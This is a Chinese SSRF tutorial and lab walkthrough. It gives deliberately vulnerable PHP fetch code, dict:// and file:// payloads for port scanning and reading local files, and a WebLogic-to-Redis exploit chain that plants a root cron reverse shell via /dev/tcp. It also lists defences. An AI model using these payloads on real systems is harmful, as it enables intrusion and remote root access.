SSRF
*SSRF 概述
互联网上的很多Web 应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,Web 应用可以获取图片、文件资源(下载或读取)。如百度识图等
用户可以从本地或者URL 的方式获取图片资源,交给百度识图处理。如果提交的是URL 地址,该应用就会通过URL 的方式获取图片资源。如果Web 应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造”的缺陷。请求伪造,顾名思义就是攻击者伪造正常的请求,以达到攻击的目的,是常见的Web 安全漏洞之一。如果“请求伪造”发生在服务器端,那么这个漏洞就叫做“服务器端请求伪造”,英文名为Server-Side Request Forgery,简称SSRF。
SSRF(服务器端请求伪造)是一种攻击者发起的伪造由服务器端发出请求的一种攻击,也是常见的Web 安全漏洞(缺陷或者风险)之一。
*SSRF 危害
@ 端口扫描
@ 内网Web 应用指纹识别
@ 攻击内网Web 应用
@ 读取本地文件
SSRF 常见代码实现
在服务器端实现通过URL 从服务器(外部或者内部)获取资源功能的方法有很多,此处使用PHP 语言和curl 扩展实现该功能。
通过phpinfo() 函数查看对curl 扩展的支持,现在大部分wamp 套件均支持curl 扩展
------------
<?php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$filename = './curled/'.time().'.txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>
------------
将以上代码保存为.php 文件,该段代码实现从服务器获取资源的基本功能,
提交
[?url=http://www.baidu.com]
页面就会载入百度首页的资源。
同时,获取资源文件会保存在[./curled]中,并以发起请求时间戳命名。
SSRF 利用
*访问正常文件
访问正常文件,提交参数[?url=http://www.baidu.com/robots.txt]
*端口扫描(扫描内网机器)
当访问未开放端口,脚本会显示空白或者报错,提交参数[?url=dict://127.0.0.1:1234]
当访问开放端口时,脚本会显示bannner 信息。
[?url=dict://127.0.0.1:80]
[?url=dict://127.0.0.1:3306]
*读取系统本地文件
利用file协议可以任意读取本地系统文件,提交参数
[?url=file://c:\windows\system32\drivers\etc\hosts]
*内网Web 应用指纹识别
识别内网应用使用的框架,平台,模块以及CMS 可以为后续的渗透测试提供很多的帮助。大多数Web 应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。
比如可以通过访问下列文件来判断phpMyadmin 是否安装以及详细版本
[?url=http://192.168.1.200/phpmyadmin/README]
*攻击内网应用
内网安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf 攻击,可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获得shell,这里的应用包括服务、Web 应用
仅仅通过get 方法可以攻击的Web 应用有很多,比如structs2 命令执行等。
weblogic 从ssrf 到redis 未授权访问 到getshell
redis 数据库
未授权访问 不需要用户名和密码就可以访问数据库,读写文件,root权限
SSRF 漏洞的挖掘
对外发起网络请求的地方都可能存在SSRF 漏洞,列举图片加载下载,分享页面,在线翻译,未公开额api(从远程服务器请求资源文件处理,编码处理,属性信息处理等。)
SSRF 的防御
@ 限制协议
仅允许http和https请求。
@ 限制IP
避免应用被用来获取内网数据,攻击内网。
@ 限制端口
限制请求的端口为http 常用的端口,例如80 443 8080 8090
@ 过滤返回信息
验证远程服务器对请求的响应是比较简单的方法。
@ 统一错误信息
避免用户可以根据错误信息来判断远端服务器的端口状态
Weblogic 从ssrf 到getshell
环境搭建:
https://vulhub.org/#/environments/weblogic/ssrf/
依赖于docker 技术
docker-compose up -d 启动两个docker 镜像
docker ps
docker exec -it 3963de188db5 "/bin/bash"
linux
crontab 计划任务
备份
访问weblogic
http://ip:7001
出现以下页面,搭建成功
漏洞存在地方:
[http://192.168.1.129:7001/uddiexplorer/]
这里我们使用Bp 抓一下包
我们发现当我们提交不同的url 页面的回显是不一样的。
当我提交以下两个不同的url,对其得到的回应,作比较
http://localhost
http://localhost:7001
确认存在SSRF漏洞
------------
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.1.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
DNT: 1
Connection: close
Referer: http://192.168.1.129:7001/uddiexplorer/SearchPublicRegistries.jsp
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=dsQKp3ZLK3XNjv9JqvJ16L1nN89QZ3DK7yDLGcDgSlFwGHF5FRJQ!899981451
Upgrade-Insecure-Requests: 1
operator=http://172.18.0.2:6379&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
-------------------------------
redis 数据库
未授权访问
在访问数据库是不需要提供用户名和密码
具有root权限
读写文件
语法
------------
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/ config
set dbfilename crontab
save
----------
读写计划任务文件crontab
进行URL编码
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
172.18.0.2:6379test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
反弹shell 到指定地址
成功反弹,拿到root用户权限